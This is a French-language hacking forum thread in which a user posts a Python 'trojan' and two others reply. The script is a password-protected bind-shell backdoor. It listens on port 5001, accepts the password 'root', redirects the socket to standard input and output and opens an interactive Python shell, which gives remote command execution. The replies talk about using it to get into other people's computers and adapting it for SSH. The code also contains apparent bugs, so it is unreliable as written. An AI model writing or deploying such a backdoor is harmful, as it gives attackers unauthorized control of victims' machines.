[Python] Troyan

Moderator: Mod

[Python] Troyan

Postby kmkz » Sun Mar 09, 2008 11:54 am

Simple exemple de troyan codé en Python avec pass.
On s'y connecte simplement par telnet puis on rentre le pass^^ bete ,nan?

[code:1:77cbe20a69]#!/usr/bin/python
# -*- coding: iso8859-1 -*

import socket # importe module socket
port= 5001 # port d'écoute
host='' # pas de client défini
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # socket basique tcp/ip
s.bind((host,port)) # le socket = lié a l'hote ( ici n'importe lequel)
s.listen(2) # attend les connexions "maximum maxpending" de 2

while 1:
clsock,claddr=s.accept() #accepte la demande de connexion, sinon bloque le script en attente de client

clfile=clsock.makefile('rw',0) # va permettre l'ouverture du prompt python via telnet ou autre client
clfile.write("bonjour, bienvenu vous etes connecté au server /Ctrl-C pour quitter ! "+(claddr)+"\n")
clfile=clsock.write("+ entrer le pass : ") # demande du pass
mot=clfile.readline() # la variable mot stocke les données
if mot =="root\n": # si "mot" == "root"
import code,sys,os # on importe les modules souhaités
for f in range (3):
os.dup2(clfile.fileno(),f) # on peu alors taper (par exemple ^^) un petit "import os → os.system('ls') pour lister les répertoires ( ceci est a titre d'exemple )
code.interact()
sys.exit()
clfile.close()
clsock.close() # fermeture de la socket[/code:1:77cbe20a69]
User avatar
kmkz
Projets
 
Posts: 120
Joined: Wed Feb 06, 2008 1:25 pm
Location: Carcassonne, Toulouse

Demande d'un noob

Postby W4RL0CK » Wed Jun 04, 2008 5:32 pm

Slt chuis nouv mais je connais quand même les trojans donc avec ca on se connecte sur d'autre ordi
User avatar
W4RL0CK
Projets
 
Posts: 8
Joined: Mon Jun 02, 2008 6:22 pm

Postby FINALCOMPOSITE » Fri May 29, 2009 10:24 am

Telnet :/

fonctionne encore?

Ya moyen de l'adapter pour SSH? ce serais beaucoup plus puissant
FINALCOMPOSITE
Projets
 
Posts: 4
Joined: Thu May 28, 2009 12:28 pm


Return to Python

Who is online

Users browsing this forum: No registered users and 0 guests

cron